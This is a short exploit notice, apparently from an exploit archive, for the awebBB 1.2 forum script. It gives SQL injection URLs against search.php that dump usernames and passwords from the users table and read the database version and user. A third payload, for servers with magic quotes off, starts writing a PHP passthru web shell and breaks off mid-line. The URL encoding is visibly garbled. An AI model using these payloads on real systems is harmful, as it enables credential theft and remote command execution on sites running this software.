awebBB 1.2 Vuln

SQL Injection /search.php?a=1&q=as&rowstart=1,1020UNION20SELECT200,0,0,username,passwor d,0,0,020from20users/ /search.php?a=1&q=as&rowstart=1,1020UNION20SELECT200,0,0,VERSION,USER ,0,0,0/ If magicquotesgpc is off: /search.php?a=1&q=as&rowstart=1,1020UNION20SELECT200,0,'?20passthru$G...